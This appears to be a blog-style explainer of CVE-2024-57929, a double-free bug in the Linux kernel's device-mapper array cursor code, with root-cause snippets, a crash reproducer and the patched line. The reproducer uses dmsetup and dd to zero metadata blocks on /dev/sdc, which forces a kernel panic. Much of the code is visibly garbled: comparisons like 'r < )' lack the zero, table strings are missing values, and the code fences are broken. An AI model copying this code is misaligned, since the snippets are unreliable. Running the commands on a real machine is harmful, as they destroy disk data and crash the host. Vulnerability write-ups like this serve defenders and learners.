In June 2024, security researchers uncovered CVE-2024-57929—a bug in the Linux kernel’s device-mapper (dm) array code. This flaw could cause the kernel to double-release (free) a memory block after data corruption or I/O error, resulting in a system crash (kernel panic) or potentially more severe consequences.

This post breaks down the vulnerability, shows how to trigger it, explains the root cause with code, refers to the original sources, and describes the official fix. All technical terms are clarified, making this exclusive breakdown suitable for learners and sysadmins alike.

Attack vector: Malicious disk block or broken hardware

- Impact: Kernel crash, possible privilege escalation (depending on exploit context and kernel build options)
- Fix: Merged upstream (kernel commit)

Vulnerability Deep Dive

The dm-array code abstracts array-like structures atop block devices. When reading a block fails (e.g., disk returns bad checksum or can't lock), the function dm_bm_read_lock() implicitly frees the “bad” block, but its pointer is left dangling.

Later, code tries to use or release the same pointer (already freed), causing a double free, which on Linux often triggers an immediate kernel panic via BUG_ON():

kernel BUG at drivers/md/dm-bufio.c:638!

Here’s the offending part (simplified for clarity)

int dm_array_cursor_next(struct dm_array_cursor *cursor, ...) {
    ...
    r = dm_bm_read_lock(..., &dm_block_ptr);
    if (r < ) {
        // ERROR: dm_bm_read_lock freed the block, but
        // cursor->block_ptr still points to it.
        return r;
    }
    cursor->block_ptr = dm_block_ptr;
}

And the cleanup function

void dm_array_cursor_end(struct dm_array_cursor *cursor) {
    if (cursor->block_ptr) {
        dm_bm_unlock(cursor->block_ptr); // CRASH! Already freed!
    }
}

`bash

dmsetup create cmeta --table " 8192 linear /dev/sdc "
dmsetup create cdata --table " 65536 linear /dev/sdc 8192"
dmsetup create corig --table " 524288 linear /dev/sdc $262144"
dd if=/dev/zero of=/dev/mapper/cmeta bs=4k count=1
dmsetup create cache --table " 524288 cache /dev/mapper/cmeta /dev/mapper/cdata /dev/mapper/corig 128 2 metadata2 writethrough smq "

dmsetup remove cache cmeta cdata corig

mapping_root=$(dd if=/dev/sdc bs=1c count=8 skip=192 2>/dev/null | hexdump -e '1/8 "%u\n"')
ablock=$(dd if=/dev/sdc bs=1c count=8 skip=$((4096*mapping_root+2056)) 2>/dev/null | hexdump -e '1/8 "%u\n"')
dd if=/dev/zero of=/dev/sdc bs=4k count=1 seek=$ablock

`bash

dmsetup create cmeta --table " 8192 linear /dev/sdc "
dmsetup create cdata --table " 65536 linear /dev/sdc 8192"
dmsetup create corig --table " 524288 linear /dev/sdc $262144"
dmsetup create cache --table " 524288 cache /dev/mapper/cmeta /dev/mapper/cdata /dev/mapper/corig 128 2 metadata2 writethrough smq "

[ cut here ]------------

kernel BUG at drivers/md/dm-bufio.c:638!

The Fix: How It Was Patched

The maintainers fixed the bug by setting the block pointer to NULL on error after a failed dm_bm_read_lock(). This way, the cleanup function won’t try to free it again:

Fixed snippet

if (r < ) {
    cursor->block_ptr = NULL; // <-- THE FIX!
    return r;
}

This prevents use-after-free or double free errors during later cleanup.

Full patch:
- Commit diff on kernel.org

`bash

dm-unit run /pdata/array_cursor/damaged --kernel-dir

References

- Upstream kernel commit
- LKML Patch Discussion
- Device Mapper Documentation
- dm-array and dm-bufio code

Summary Table

| CVE | Affected Versions | Type | Exploitability | Fixed in |
|----------------|-------------------------|--------------|----------------|----------|
| CVE-2024-57929 | Linux kernel (dm-array) | Double Free | Local/Indirect | 6.10-rc5 |

Conclusion

CVE-2024-57929 is an example of how subtle memory management bugs in the kernel’s device-mapper stack can cause big security headaches. If you run Linux systems with dm-cache or advanced LVM, please update as soon as possible. While the risk of remote exploitation is low, a local attacker or disk fault could bring your system down fast.

For more technical insights, always check upstream patches and official LKML discussions.

Timeline

Published on: 01/19/2025 12:15:27 UTC
Last modified on: 05/04/2025 10:06:51 UTC